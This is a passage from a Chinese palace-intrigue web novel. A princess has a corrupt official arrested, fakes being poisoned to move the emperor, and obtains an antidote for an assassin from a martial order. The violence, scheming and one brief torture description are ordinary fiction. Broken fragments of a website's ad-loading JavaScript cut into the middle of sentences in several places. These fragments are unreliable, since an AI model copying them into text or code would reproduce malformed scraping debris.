是站着的那两名狱卒说话。 能知晓她这个封号的,只会从前燕国的子民,她不敢回头。 怕回头瞧见的燕国百姓的脸,她有听母妃的话好好活下去,陪着燕国的百姓,在新旧交替的土地上努力生活下去,陪着他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们这一代人走完最后的路程。 “公主可还安好?” “安好。”李之夭声音颤抖,眼泪滚落,她本以为这辈子都见不到燕国故土的人,没想到在这里遇到了他们,“你们呢?” “小的们一切安好。” “公主曾在街头救过我们,小人无以为报,但听公主号令。” 他们对视一眼不约而同抱拳拱手。 李之夭仔细回想当初她在燕国的所作所为,尚未及笄的她,能做什么,能救他们什么。 觉醒后要记的东西太多,反而这些小事,她想了好久,都记不起来了。 “燕国的号角声永远不会再响起,藏在记忆里忘了吧,好好生活。” 听懂李之夭话里的意思他们郑重点头,目送燕国最后的皇室,渐渐走远。 只要她还在那里,哪里都是故土。 忘记黑夜才是夜晚的样子。 “主子,若是皇上闻起,你该如何回答?” “我大概知晓哪些人最是厌我,手下小官也也有不少贪官污吏,过去我念着皇上情面,没曾想他们变本加厉,今动一人胳膊,杀鸡儆猴。”她顿了顿,两天两夜未曾合眼,整日奔波操劳,此时也显得力不从心。 “主子,要不先歇会儿?”踏雪看出她的疲倦,李之夭比她弟弟年纪还小,心里暗自藏着以下犯上的心思将她当妹妹看待,言语间不免透露出关切。 “你们先将他送去银来庄,后面不能让禁军看到你们,若是问起就说你们是银来庄派来要债的,恰好跟我遇上。” 踏雪飞鸿点头提着晕过去的狱卒离开了。 “时雨,你去见秦大统领,让他去寻舅舅就说我已问出其中一人身份,带人出宫跟我去抓人。” * 缘楼此时一片混乱,雪双手沾满鲜血,不知从何人手中抢来的刀插在地上嗡嗡作响。 周围横七竖八的躺了一地尸体,她站在八角楼中央,仰望着站在最顶层身穿紫衣的女子。 “给我解药。” 蓝素衣美眸不悦,强忍着耐性规劝道,“雪,今日就算你杀再多人,只要你一日不把十三十四带回来,解药老娘我一日不给!” “十三师兄他就快死了!根本赶不过来!”豆大的眼泪随着她说话时便落下来。 站在高楼的女子不为所动,翘起她新涂好粉色的蔻丹,她身边站着的是缘楼拍在纪无涯之前的剩下十二名护法。 只要她一声令下,不消五人,都足以取她性命。 蓝素衣嗤笑一声,“十三犯了事,长老们都在等他回来认错,解药给了,他再消失得无影无踪可怎么办?雪,今日你伤缘楼守卫性命,可是要下十三牢的。” 雪身体微不可察颤抖一下,强忍心中恐惧,想再求一求楼主。 “楼主,不给解药,十三师兄和十四师兄都会死的。” “十九,再给你一次机会,乖乖认错,看你年纪尚小,我饶你一次。” 雪握紧刀柄,眼泪止住,一字一句。 “绝、不、认、错!” 话音刚落,楼上有人飞身如疾风般掠下,与此同时,雪身后勾爪从暗处飞来,她提刀挡下,掠下的黑影手中长剑刺进她右手肩窝处,长剑拔出带出殷红鲜血。 37. 抓人 第37章 清晨的风不同以往温热,难得带了几分凉意。 李之夭携春夏去往银来庄,小二在骆寒山的指挥下抱着一盆旺盛绿植调整摆放位置。 见到她骆寒山朝闷头干活的小二头上敲了一下,小二吃痛捂头委屈道,“骆师傅,你又打我。”但注意到提示后,他面色一喜,“主子,你怎么来了?还以为有段时间见不到你了。” 小二引她往里走,招呼店里其他小厮出去继续搬绿植,“主子,可惜你人不在,不然昨日你就能看到耿掌柜带着我们去收铺子,那叫大快人心,还找到不好好东西,这个赌约咱们真是赚翻了。” 李之夭冲他笑笑,小二私底下话多,心性也年少,看到什么新奇好玩的事儿逮到亲近的人一个劲儿就往外倒。 耿进才过去被他叨叨个脑瓜子疼,最后瞧骆寒山日子清闲,便把小二塞给他。 骆寒山年轻时也是个话多的,反倒年岁渐长,一路山河江湖走了一趟,见识广,人也沉稳起来,骨子里却是改不掉的心高气傲,瞧小二愣头愣脑的模样,倒是有看到当初自己年轻时候的影子。 “主子,踏雪飞鸿刚才提着个人进了后院,我记得他是个狱卒,之前我还带人去天牢门口闹过都要不回来,现在耿掌柜直接把人提进来了。” 穿过绿萝爬满的走廊,后院栽种的桃花树长得粗壮,足足得有五个人才能环抱住,今正值盛夏,郁郁葱葱。 狱卒被飞鸿倒吊在桃花树的树枝上,嘴里塞了破布支支吾吾半天吐不出一个字儿,见她来反应更大,就被踏雪一巴掌拍晕过去。 小二立马又道,“这人看着就不老实,还得是耿掌柜下手狠。” “他是我弄过来的。” 小二立马闭上了嘴,眼珠一转笑着,“主子,这么一大早出来想必还未吃早饭,小的去给你弄点吃的!” 听到吃的,春夏连忙指了指自己,表示还有她那份。 骆寒山左瞧右瞧耿进才和金三娘还没来,“平日无事他们二人早上向来贪睡,此时恐怕还半梦半醒,我去催一催。” “骆师傅你先坐。” 骆寒山在对面石凳上坐下,李之夭继续道,“是他欠债又不是耿进才和三娘欠债,我过来歇个脚,等会儿秦大统领来了就得走了。” “出了何事?” 他言辞关切,怎刚从火海脱离,如今又跟秦大统领扯上关系。 “还不是昨日朝中大臣听闻主子回宫,加上白日里大公主带人来闹事,机关暗器全都触发没了,点了火宿宁宫又差点毁了,晚上大臣便派杀手刺杀,来了二十余人,在宫里闹得沸沸扬扬,估摸不久就整个京城都传遍了,皇上知晓龙颜震怒,想拿人是问。” 春夏嘟着嘴,把这两日遇到糟心倒霉事一股脑全倒出来,听得骆寒山立马站起来,“岂有此理,这群人竟如此猖狂,他们这是铁了心想害你性命!” “他们对我有再多不满,说到底也是为了大魏,怕我反大魏复燕国,过去查过几个手脚没做干净的人,除开混在里面的贪官污吏,其余人对大魏有恩,这么大规模刺杀,就算皇上质问,百官一句法不责众就压得皇上喘不过来气,一旦处置,朝中三分之二大臣皆有参与,朝政机关运行少几人可行,若少了三分之二,不消一日便会崩塌,就算认命再快,恢复上手也许时日,倘若此时北唐知晓,定会有所动作。” 她不能把机会送到裴淮手里。 哪怕是现在,她要抓的人都只会从其中挑出一名贪官污吏处置,处置贪官,清武帝心里也没什么负担。 又想看在她母妃的面子上给她一个公道,又不能惹怒群臣。 这件事按照以往解决办法就是不了了之。 朝中大臣无人敢言,悄悄注视跪在大殿中央的秦立山,自从他进来请命在这里已经跪了一盏茶的时间,至于结果准不准,龙椅上的那位始终没发言。 说宿宁公主审出了一名幕后之人,请他前去拿人。 何人未曾明说,拿人不是在朝堂上捉拿,反而在宫外。 大臣们心思各异,被供出来的那个人会不会是自己,若是自己,等下朝一回家,岂不是自投罗网,又揣测是何人把自己供出来。 夜里刺杀,皇帝震怒,搞不好便是死罪。 心里转来转去,他们又不约而同绕到一块上。 耗。 他们不说,一起耗着皇帝亲口拿个解决的办法出来。 抓? 或是无事发生。 清武帝自然明白台下大臣心里在想什么。 沉默至此时,“秦大统领你去吧,朕在这等着。” 他没让退朝,也没说别的,就让百官在这里继续耗着。 大臣不放回去,守株待兔就是徒劳。 到时候等李之夭回宫,他再赏些东西安抚下。 明日去往骊山,待上一两个月。 既保住了朝中大臣,又全了他应下的面子。 留百官在大殿,让禁军扑空,但李之夭想抓的人也不在上朝之列。 想抓吏部的文选司郎中,断了吏部尚书的一名心腹,给予告诫。 这个位置坐着个贪官,不仅是清武帝的心腹大患,也是天下的大患。 她当出头的鸟把人抓了,除了清武帝心中一患,也能防止后面裴淮派人拉拢文选司郎中,蚕食大魏。 况且文选司郎中这两日告病在家中,根本没去上朝。 “文选司郎中告病在家,秦大统领直接过去抓人就行,也不枉我审了一晚上换来的结果。” 李之夭等人出现在郎中府门前,她说着拿帕子拭了拭眼角眼泪,满是心酸。 秦立山仍难以置信,皇上都没办法的人怎么一晚上就出了结果。 “这些事公主你是怎么知晓的?” “秦大统领莫不是不信我?”她声音委屈,即便有幕离阻挡,仍感觉她随时都能哭出来。 “没有,属下多嘴。”秦立山立马道歉,随后命人撞开大门闯进去拿人。 里头传来惊慌失措的呼叫声,瓷器破碎,伴随的还有妇人苦苦哀求,彷佛经历着一场兵荒马乱。 树倒猢狲散,秦立山将还在睡梦中的文选司郎中从床上抓起来,并在屋子里搜出大量他贪污受贿的证据,以及从训练营买卖杀手的交易凭证。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这些个罪名加在一起,足够让他人头落地。 她并没和秦立山一同出现在朝堂上,但不用想都能知道那群老顽固看到结果时是何种目光,惊恐,震惊,愤怒,害怕。 不管什么都能给他们带来足够的震撼,包括她的舅舅。 回到宫中,时辰已至午时,夏季太阳猛烈,晒得叫人睁不开眼。 李之夭先去寻太医,“陈太医,那瓶子可有结果?” 陈太医点头又摇头,“只能断定公主猜想不错跟屋里头那位有关系,我们尝试用了里面几味药材给郎君服下有了起色,但暂时查不出是何种奇毒,臣听闻玄心大师曾钻研罕见伤毒医书多年,草药无数,若玄心大师在世。”陈太医说道此处连连叹息摇头,“只可惜……” “我明白了,多谢陈太医。”李之夭颔首心中不禁感慨,纪无涯出自缘楼,但他从前是何身份,在身体里竟能有奇毒连玄心大师都得苦心钻研多年最后才寻到药珠,甚至连宫中见多识广的太医都闻所未闻。 她不免对纪无涯的过去产生了更多的好奇。 先前派人去打探纪无涯身份,至今什么消息都没传来,猫腻不少。 此时隔壁传来咒骂,“该死的小贱人!都是因为你!” 她勾唇立马转换姿态,一副受惊模样,“绾妃娘娘,你在说什么,这关我何事?” 夜里段兰之见过李之夭趾高气昂的样子,瞧她现在装得楚楚可怜就来气,“你还装!若不是你,我和长欢又怎会遭此劫难!” “可是绾妃娘娘,若不是我,您今日恐怕还得继续在秀春宫撬地砖……”李之夭故意声音越说越小,身子也慢慢往后退。 杜君华想动手被萍嬷嬷拦下,连常欢敢怒不敢言,段兰之被怼得哑口无言。 哪壶不开提哪壶,存心给她找不痛快。 此时太医陆陆续续回来,春夏猛掐小顺子大腿,小顺子疼得汗毛倒立,到嘴边的叫声硬生生转为哭声,响彻云霄。 “啊!我的主子!你好苦啊!” 一嗓子把太医院的人给吸引过来了。 他们聚在门口,泪眼朦胧的宿宁公主和面红耳赤目光似刀的绾妃,不用想都知道又是绾妃在挑事。 萍嬷嬷生怕事情再闹大,惹得皇上不痛快,催促杜君华带着绾妃回去,传唤太医过来把脉确认无事后开了几副安神药便离开了。 如今这个局面,可不敢再生是非。 回到宫里萍嬷嬷好说歹说才劝绾妃消气。 晌午一过,宫中传来消息说早朝时皇上发了好大脾气,最后把文选司郎中打入天牢秋后问斩,家属抄家流放。 据说吏部尚书在场当即脸都白了。 而事实几乎不差,等了一早上的结果,等来了个晴天霹雳。 文选司郎中那么重要的一个官职,李之夭说抓就抓,连带他背后贪污的额证据一并被秦立山搜出来呈上。 作为他顶头上司的吏部尚书,愤恨地握紧拳头,不再多说一句话。 大臣面面相觑,心照不宣的打定主意这段时间还是少跟李之夭牵扯为妙。 待从骊山回来再从长计议。 38. 求救 第38章 工部的人修好宿宁宫,取决于上次经验,这次增加了屋里的沥水功能,就连梁木那些地方都涂了防火漆,公公把话带到说可以回去住了。 宿宁宫绝对是工部遇到最大的挑战,什么事都有可能发生,若再出意外,就是打他们的脸,这次什么可能都考虑上了,应对办法都用上了。 李之夭瞧屋内纪无涯还没清醒的迹象,继续留下小顺子守在这里陪寻方等着缘楼的解药,她则回去趁机布置下机关。 原来身边的侍卫都知道她宿宁宫有机关一事,可惜后来为护她死在裴淮派来的杀手下。 秦立山新调来的侍卫并不熟悉,让踏雪飞鸿进来随她重新布置机关。 “主子,为何不让我们直接进宫来?” 踏雪忙活着手里的弩箭将它藏在房梁上,触发的引线牵到一座装饰的木雕下。 “皇上身边暗卫在宫里行踪不定,若你们被发现就是死路一条。”东窗事发定会牵扯到她身上,届时想藏都藏不住,“皇上能让秦大统领派禁军办成侍卫守在这里就是极限,他不可能让我有自己的暗卫,暗卫行踪不定,他怕我用暗卫做别的事。” 飞鸿眸子微动,训练营的教导让他不得多嘴,可心中想要追寻某个答案的心情让他鬼使神差的开口,到嘴边又咽下去,“骊山之行……” 李之夭明白他想问什么,“骊山守卫不如宫中森严,我担心有人趁此番出行有所动作。” 飞鸿继续低头做着手中的事。 众人忙活大半天,终于赶在侍卫送来之前把机关布好,踏雪飞鸿离宫,李之夭沐浴后直接在床上沉沉睡去。 两天两夜未曾合眼,宿宁宫上下陪着公主忙活的人几乎睡去。 她睡得很沉,只不过这次并未梦到书中没窥探到的剧情,而是看见当年她跪地看到从砖缝中生长出来的绿芽生长,天光破云。 不知过了多久,李之夭是被门外一阵焦急争论声吵醒。 迷迷糊糊间只听小顺子道,“那你们说这可如何是好?” “主子才睡了不到一个时辰,怎会出这样的事。”时雨叹息。 “要我说就别管那人了,他想杀主子在先,我们主子哪还有义务再管他的死活!”春夏斩钉截铁,“如今是不能让他扰了主子清梦!” 听情况是太医院那边出了变故,小顺子都跑到这里来了。 李之夭起身穿上穿衣,推门出去,见到她原本讨论不休的三人噤声,“主子你怎么醒了?” 春夏问道。 “你们三在我门口说话声大了些,想不被吵醒都难。” 春夏顿时责备地瞪了小顺子一眼,“都怪你,非要过来。” “说吧,那边出了什么事?” 李之夭望向小顺子后面的站着不言语的寻方。 寻方神色纠结,见到李之夭想见到了救星,着急单膝跪下抱拳道,“公主,缘楼那边传信过来说雪被他们扣押,倘若此时我回去取药,脚程再快往返也来不及,斗胆过来恳请公主有无法子救我师兄一命!” “你带着你师兄回去不就行了。”春夏看他很是不爽,“他中了毒,找我家主子有什么用。” “我不是没想过,但师兄身体此时过于脆弱,全靠太医施针吊着,我不敢贸然犯险。” 寻方言辞恳切完全不像演出来的样子,说本来按照计划他们昨日已回到宁缘城取得解药,可谁知师兄去见了智先生后,不知他们聊了什么反而进了宫。 “你说的智先生是何人?” 寻方摇头,为了说动李之夭救纪无涯,问什么答什么,“他只有师兄见过,每次约见的地址多变,师兄也拿不准他在京城里具体住在何处,我也只知道他曾经出自缘楼□□。” 当真是老狐狸。 她想了想银来庄在宁缘城并无旁支,就算从附近派人过去捞人也来不及,“你说的那个小丫头若将她捞出来,按她的脚程可能赶得回来?” 寻方点头,“可以。” 李之夭沉思片刻,心中便有了主意,“时雨,你跟我走一趟,你回去守着。” 春夏急得拦住她,“主子,你真要管他啊?” “我知晓你为我好,但春夏我留他有用。” 李之夭解释,“其中曲折非一句两句说清,但他现在不能死,我要他帮我找到智先生。” 智先生藏得这么深,很有可能跟那些刺杀她的大臣都有联系,若是寻到他,顺藤摸瓜便能给那些大臣一记威压,换来后面的安生日子。 寻方的话半真半假,他不说智先生住址,把救命稻草抛到纪无涯身上,她这么在意智先生,不管真真假假都会救纪无涯。 李之夭带着时雨去御书房求见清武帝。 孙广全通报后传她进去,一进去李之夭发现自己的老师徐子清也在。 她先跟清武帝行礼再拜见恩师,“老师,多日不见身体可好些?” “劳公主挂心,臣身体已无大碍。”徐子清笑着拱手,眼中饱含担忧,“听闻夜里刺杀,公主可伤着没?” “多谢老师关系,夭夭没事。” 李之夭颔首乖巧回应。 徐子清是三朝太傅,当初支持起兵夺权的人除了丞相便是他了,后她被清武帝接到宫中,也曾上过有一段时间的学堂,清武帝专请他做宿宁公主的老师,为其授业解惑。 师生二人相处甚至融洽,后来徐子清身体逐渐不适,便停了授业一事。 加上李之夭那段时间遭遇刺杀,夜里不敢睡,只能挪到白天小睡一会儿。 徐子清称病期间闭门谢客,早朝都不怎么上,渐渐少了来宫中的走动,一来二去,他们两人竟也有半年时间没见。 “夭夭,你来的正好,赐座,朕正和太傅说着今日你让秦立山抓的人,你是如何从杀手口中弹指文选司郎中名字的?” 清武帝满怀好奇,让她落座在徐子清对面,孙广全为她端来新茶。 “这……”李之夭故作为难,仿佛有什么难言之隐,“舅舅,夭夭不敢说,怕毁了在舅舅心中的形象。” “这有什么不敢说的,夭夭在舅舅心中永远都是乖巧懂事的好孩子。” “实不相瞒,因当年我在前朝身份关系并不受重视,宫中皇子时常欺凌,折磨我和母亲的手段更是层出不穷,母亲常常梦中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊醒,有段时间魂不守舍跟我说害怕,年少时经历故而对那些手段……” 她说着偷看清武帝脸色,见他面色逐渐阴沉,适时挤出眼泪,到最后哽咽小声道,“有种酷刑蒙住人双眼捆其手脚,在额头滴水,一滴一滴往下落,逐渐击垮人的内心,牢中严刑拷打对他们杀手来说都不是事,杀手内心强硬,只有逐步摧毁……” “够了。”清武帝打断,“你跟你母亲都经历过?” 李之夭否认,“母亲为护我经历过,舅舅当时母亲得有多害怕啊!” 说完她眼泪滚滚,死死咬住嘴唇,努力让自己不哭出声,看得清武帝更是对她胞妹愧疚,愈发心疼她妹妹的孩子。 “夭夭别哭,现如今舅舅护着你,朕看谁敢还对你动手!” “公主受苦了。”徐子清满眼心疼。 李之夭跪地叩首,“多谢舅舅,谢老师关心!” 她跪下去清武帝喊也不起来,而是道明今日来意,“舅舅,今日我其实有事相求。” “但说无妨。” “不知舅舅驻扎在宁缘城的驻军全部撤走没?” 清武帝下意识看了徐子清一眼,问道:“没有,发生何事?” “舅舅有所不知,我被抓出去这几天落入江湖人手中,他们知我是前朝人就想靠我打探前朝秘宝,秘宝早已进了国库,他们不信非说秘宝定是被藏进了缘楼,就因缘楼十三护法前来寻我便一口咬定,奈何他们找不到缘楼入口就给我下毒要我去缘楼求解药,想趁机找到入口。” 李之夭说完匍跪在地上,趁机往嘴里塞了血珠,咬破当场便口吐鲜血几乎要晕厥过去。 在场人大惊失色,孙广全派人下去传大夫,清武帝过来想把她扶起来。 “舅舅,本我已拜托十三护法的师妹前去取药,可谁知因十三护法为救我受伤昏迷不醒,至今尚躺在太医院昏迷不醒,未跟其师妹一同回去就被楼主关了起来……”她跪走几步到清武帝跟前,拽着清武帝的衣袖,声泪俱下哀求道,“舅舅,我不想死舅舅……” 清武帝满脸心痛,一时间大脑都转不过来,“你不会死的,朕答应过你母亲会照顾好你。” “所以……”她哽咽一下,装作强撑一口气道,“我想问舅舅驻军有没有撤走,若是没撤或走不远能不能飞鸽传书让他们去缘楼施压放人为我送解药,这样就算有秘宝他们也不敢造次,若是没有就当救我如浮萍般的一命,我怕我活不过今晚傍晚了舅舅。” “好好好,你先别激动,朕这就传信过去让禁军。” 李之夭说完两眼一闭装晕过去,时雨适时上前从清武帝手里扶过李之夭,痛苦喊道,“主子!主子!” 徐子清上前赶忙搭脉,清武帝已背对他们去写信,察觉脉象并无异常,他惊讶瞪眼,李之夭睁眼小声哀求他不要说出来,清武帝写完信交给窗外暗卫发出,他着急凑过来查看李之夭。 赶来的太医正是李之夭心腹陈太医,他煞有介事的把脉再银针试探,最后跪在地上不敢说话,清武帝见他一句话不说,徐子清把完脉也一句话不说,脑补不少说辞,自己都信了。 看样子说的是真的。 39. 忙碌 第39章 宁缘城地处原燕国和大魏边境,因为月缘山横跨燕魏两国,山上筑起的八角楼也横跨两国边境。 故一半属燕国,一半属大魏。 这也导致缘楼分出两支左右.派系,大魏右.派主文,燕国左.派学武,两派时常打架暗中下套,一来二去,右.派便从分离出来,不再跟左.派来往。 时过境迁,虽左右.两派还属缘楼,名义上听楼主调遣,可实际上右.派离开后各奔西东,渐渐都不再听命于楼主。 至今缘楼存在已有将近五十年的时间。 今楼主蓝素衣左.派出身,手下共有二十名护法,二十门,门下分别统领合格的缘楼杀手。 雪排行十九,是楼里年纪最小的护法,十二岁。 她躺在十三牢的第九层,这里伸手不见五指,墙壁坑坑洼洼,是溶洞改出来的囚牢,只听得见滴答的水声。 雪紧紧环抱双臂,被刺穿的肩膀也被楼里医士包扎缝好,蓝素衣知晓她的弱点,便让人将她送进来作为不听话的惩罚。 黑暗仿佛将她带回过去数不清多少日夜的生活里,她本以为自己生活在黑暗中,早已熟悉黑暗无所畏惧,可见过光明后,她依旧害怕黑暗。 害怕曾经的事会再次出现在身上,但她不能退缩,得想办法逃出去,她的两位师兄还等着救命。 雪死死要紧嘴唇,不给自己出声的机会,她怕一出声,是妥协,是认错,是求着楼主放她出去,但不出去又怎么救人,她怕自己妥协是胆怯过去,不低头又是毁了未来。 正当她紧闭双眼做心理斗争时,突然有光晃眼,导致她惊觉睁眼,看向被点亮明晃晃的石洞。 蓝素衣面色不好的站在门口,随行的护法个个手持火把照得室内一清二楚,身后还跟着身穿铠甲的将士。 雪眨了眨眼睛,适应光明从地上爬起来,蓝素衣随手丢给她一个药瓶,“解药,一粒便能全部清除体内种下的雁沙之毒。” 领头的将军迈步向前,打量着雪,神色冷峻,“没有别的解药了?” 蓝素衣不情愿的从怀里取出一个药瓶递到将军手里,“这是全部了。” 将军接过打开从里面倒出几粒黑丝药丸,随意选了一颗反手扔进蓝素衣口中,确认她吃下无事后才拿自己掌心里的药丸和雪手里的瓷瓶换。 只有一粒,“能不能多给我两颗?”他说宿宁公主也中了雁沙之毒,若是能解,那十三和十四师兄的毒也可以。 将军听了她的话,却被蓝素衣抓住手腕制止,“不是只为宿宁公主一人寻解药?” “多给两颗有备无患。”雪急中生智找补,将军点头认了她的话,多拿两颗确实有备无患。 蓝素衣见状只得退而求其次道,“解药都是根据楼中人数制成,你多拿了去,让楼里的兄弟姐妹如何是好?” “再给一颗……多给一颗也行……”她声音颤抖,多一颗希望就大些,总会有办法的。 但蓝素衣不同意。 雪咬牙跑上前,从将军手里抢了两粒出来,然后飞奔顺着回旋梯子往上,蓝素衣见状质问将军,“你是故意的?” 将军将药丸倒回瓶子里递给她,蓝素衣暗唾一声,“给我去追!跟着她把十三和十四找回来!” 见杀手追去将军拔刀动作迅如闪电架在她脖子上,“若她无法平安回到京城,宿宁公主出现任何闪失,皇上定会踏平你的缘楼,本将曾也是江湖出身,楼主不想缘楼不满百年就毁在你手里吧?” 尽管拦住大批杀手动作,但不乏有人跟了出去。 雪脱离第九层,才感受到外面白昼耀眼。 她捂住渗出血的伤口,运功朝京城赶去。 等她赶到京城,内力几乎耗尽,百姓见她浑身是血吓得退避三尺,一路畅通无阻。 此时天色已暗,雪只求来得及,因为她已尽力了,但路上伤口失血严重她不得不耽搁点时间止血,否则还不到京城,就失血死在半路上。 撑着最后一口气到宫门口,瞧见守在外头先前被她打晕过的时雨,忙不迭朝她奔去。 时雨见她迎上去,刚到跟前雪就把装药的瓶子塞进她手里,“救……救救我师兄们……” 秦立山她背起带进宫里,和她一块赶往太医院。 李之夭已装晕一下午,期间还睡了一觉,睡醒想睁眼被人赶忙捂住眼睛,她懵懂的脑子反应过来,她还是晕着的状态,索性闭上眼。 “黄昏已过,夭夭不会有什么问题吧?陈太医。”清武帝道。 陈太医两头跑,累得他满头大汗,本来只有一个人,公主是装的他明白,谁知道刚傍晚的时候另外那个守着的人也吐血一头栽倒在地上。 看诊断跟纪无涯体内另外一道属于缘楼的毒性一致。 一下又多了一个,忙得他三间房跑。 清武帝不守着还好,他还能在公主屋子里偷个懒,可守着他哪敢啊。 其他太医没接触过这等罕见奇毒,好巧不巧只有他入宫前接触过一些,清武帝一句,“劳烦陈爱卿辛苦了。”他就开始了三头跑,其余太医也只是帮忙打打下手,帮他盯一下情况。 黄昏一至,除了宿宁公主一人其余两位情况突然开始恶化,于是干脆命人把宿宁公主和寻方两位情况较轻的挪到纪无涯屋子里。 扎完一个又扎一个,在清武帝的注视下也给装病的宿宁公主来了一针。 一针下去,要不是春夏小顺子眼尖,赶忙挡住清武帝视线,否则李之夭扭曲样貌就要被看到了。 她此时若是睡着,指不定被扎心惊叫出声。 陈太医汗流浃背了。 “毒已扩散,需一刻就得施针。”说完他弱弱偷看一看李之夭。 清武帝点头,“那就扎,务必要等到解药送来。” 陈太医擦了擦面颊上的汗,“是。”他朝一旁帮忙的太医道,“还得麻烦你帮着给他施针。”他指了指寻方的位置。 清武帝道:“既他也能施针,干脆再传唤一名太医来,三人岂不是更快?” 陈太医心里快哭出来了,他们是真病,所以才敢扎,但宿宁公主是假病,扎下去岂不露馅了。 情况严重的那位也需要扎的地方较多,万一把人医死了,公主问起来,不好交代。 斟酌措辞道,“公主和这位情况特殊,臣亲自盯着些才放心。” 清武帝点头。 李之夭暗中掐了小顺子大腿后一把,小顺子瞬间明白什么意思,“皇上,天色渐晚,御膳房那边也做御膳送来,主子这边有我们几个奴才守着,皇上龙体要紧。” 孙广全也道:“皇上,不妨先去用完晚膳再来也不迟。” 徐子清道:“这边有臣在,皇上保重身体要紧,明日启程前往骊山,此乃国事,皇上可不能出了岔子。” 清武帝见他们这里确实没什么情况,便听了起身先去用晚膳。 支走清武帝,徐子清也把屋子里不相关的人请出去。 李之夭睁眼从床上坐起来,立刻就吩咐春夏,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 春夏,你去后厨拿块猪皮过来给我贴背上,越快越好。” 陈太医立马诉苦:“公主,你下次可别搞这些了,累死老臣了。” 徐子清无奈摇摇头,“鬼灵精,你是为了救他们二人?” “是,老师。”李之夭不遮掩,“老师可曾知晓京城哪位大臣入职前曾有智先生的称号?” “智先生?”徐子清皱眉,满脸不解,“听过此人名号,但具体是何人他身份藏得很隐蔽,怎会问起他来?” “我得到消息,几次三番雇纪无涯杀我的人就是智先生,所以我才救他,从他口中问清楚智先生是何人,此人身份藏得如此隐密,可想而知手段高明。” 李之夭说完叹了口气,“老师也不知此人,学生心里难免生出几分怯意来。” 徐子清宽慰:“公主一向聪慧,哪怕跟我时间较短,也是臣最喜欢信任的学生,臣相信公主面对的所有问题都能迎刃而解,可惜臣老了,身子骨不中用帮不了公主多少,公主年岁渐长,跟臣却生分起来,什么事都往心里搁。” “老师高风亮节,是大魏顶梁,我不敢让老师过多参与进我的事情中,怕给老师惹祸上身,污了老师名头。” 徐子清眼眶发红,“身在朝堂中,哪有什么真正高风亮节之人,当初劝皇上夺权便是大逆不道的罪名。” “老师身体近来可好?” “好,近来都好,公主也要保重自己才是。” 正当二人谈话期间,春夏揣着块新鲜的猪皮便跑了进来。 屋里人退出去,春夏为李之夭在后背垫上,这样皇上回来再扎针也不怕了。 没想到这一等,等到黄昏过去,天色彻底黑下来,才听时雨匆匆赶来,为他们送来解药。 同时送来的还有失血过多精疲力尽的雪。 陈太医在皇帝注视下检查了一遍药丸确认没问题才发下去给他们三人吃下。 听到寻方醒来,李之夭也才装模作样清醒,她醒后没多久,纪无涯终于睁眼。 陈太医擦了擦湿润的眼角,他总算不辱使命将人撑到解药过来。 孙广全把情况说明,寻方和纪无涯朝清武帝下跪道谢,李之夭适时补了句,“夭夭谢过舅舅。” 见李之夭清醒,清武帝放心下来,还传了步撵让他们抬李之夭回宿宁宫休息。 李之夭临走时看向站在一旁的两人,冲清武帝道,“舅舅,我怕这样的情况再次发生,舅舅可否准许他们二人留下护我一段时间。” 清武帝点头,“他们即是缘楼之人,朕书信过去跟楼主要人就行。” 说完由孙广全引着先行离开,徐子清也告退离宫,眨眼太医院门口就剩下他们几人。 纪无涯出来看向笑颜灿烂的公主,她笑着道谢告别,灯烛照得她笑颜明艳,声音轻快婉转。 跟他前世初见她捉弄书生跟身边女娘嬉笑时一般,这样的笑容是他今世第一次看见。 像在云州见到山间盛开的山茶般,格外喜人。 李之夭察觉有人在看她,下意识望去。 对上少年那双漆黑明亮的眼眸,正目不转睛地望她,仿佛透过她看向了不知过去还是未来的久远。 “谢公主救命之恩。” 少年嗓音宛如清风漫山岗,不徐不疾,却又像清酒醉人。 “不谢,只要不去投靠裴淮。”她再次弯了弯眉眼,未来现在都别去。 因为,“纪无涯,我也能救你。” 她说完从身后掉下一块猪皮。 40. 调戏 第40章 翌日天还未亮,宿宁宫里的宫人便开始忙碌,他们需要将此番出行需要带的东西全都搬上马车,时雨和小顺子守在宫门口,再细细盘查一边是否有错漏。 而春夏则是带着一众宫女进屋叫醒主子,伺候她起床洗漱。 因她要去骊山的缘故,所以纪无涯和寻方一大早也醒过来,他们二人刚从太医院看完雪的伤势回来。 李之夭本想喊上他们三人一块,雪的伤势未痊愈,不宜舟车劳顿,便让寻方留下照顾雪让她别在宫中惹出乱子,纪无涯自己跟李之夭离开。 小顺子见他们二人由禁军送回,便道:“纪郎君快去收拾收拾,等主子洗漱完也该启程了。”他说完才对寻方吩咐道,“宿宁宫内留有下人在,郎君若有需要吩咐一声即可。” 寻方点头:“多谢。” 他们留在宫中,清武帝和李之夭不计较男女大防,就连宫中嫔妃距离宿宁宫隔得甚远,也不会碰到别的人。 但毕竟是外男,秦立山为保险起见,还是派了禁军接送看守,以免生出事端。 刚从房中退出来的春夏想起她还留在身上的金色圆币,主子把东西拿回来本也是为了给他,请示里头的人后便从袖中取出,出声唤住了纪无涯。 “纪少侠留步。” 她上前将帕子摊在掌心打开,纪无涯看到此物愣神,春夏道,“这是主子从天牢一手脚不干净的狱卒手中拿回来,昨日繁忙意外频出,今日才想起归还。” 纪无涯伸手接过,冲春夏道谢后听到前头有声音传来。 为首姑娘面若桃花,端庄大方,因外出梳了个流苏髻,乌发如瀑,发间点缀发饰简约,身穿软蓝织锦柔纱裙,春夏闻声赶忙迎上去,“主子,东西已归还了。” 李之夭的步子在纪无涯跟前停下,同她对视而望,“纪无涯,你又欠了我个人情。”她说这话时眼尾上扬,声音透露一丝狡黠,只挠人心神。 “公主想我如何报答?”他斟酌开口,声音依旧清洌洌的,夜里他运功用了药珠一次,情况大好,他本打算趁着毒压下去时去寻其他的解毒之法。 皇宫的守卫根本困不住他们,但纪无涯踏上屋檐的脚却又收了回来,他只在高处占了片刻,终究是不想失信于人。 今日初二,天上无月,只有星辰散在天上,他忽然想起李之夭的话。 纪无涯,我也可以救你。 一句话,便让他回了头。 想来想去那么多,纪无涯实在不知道自己能给她什么好处。 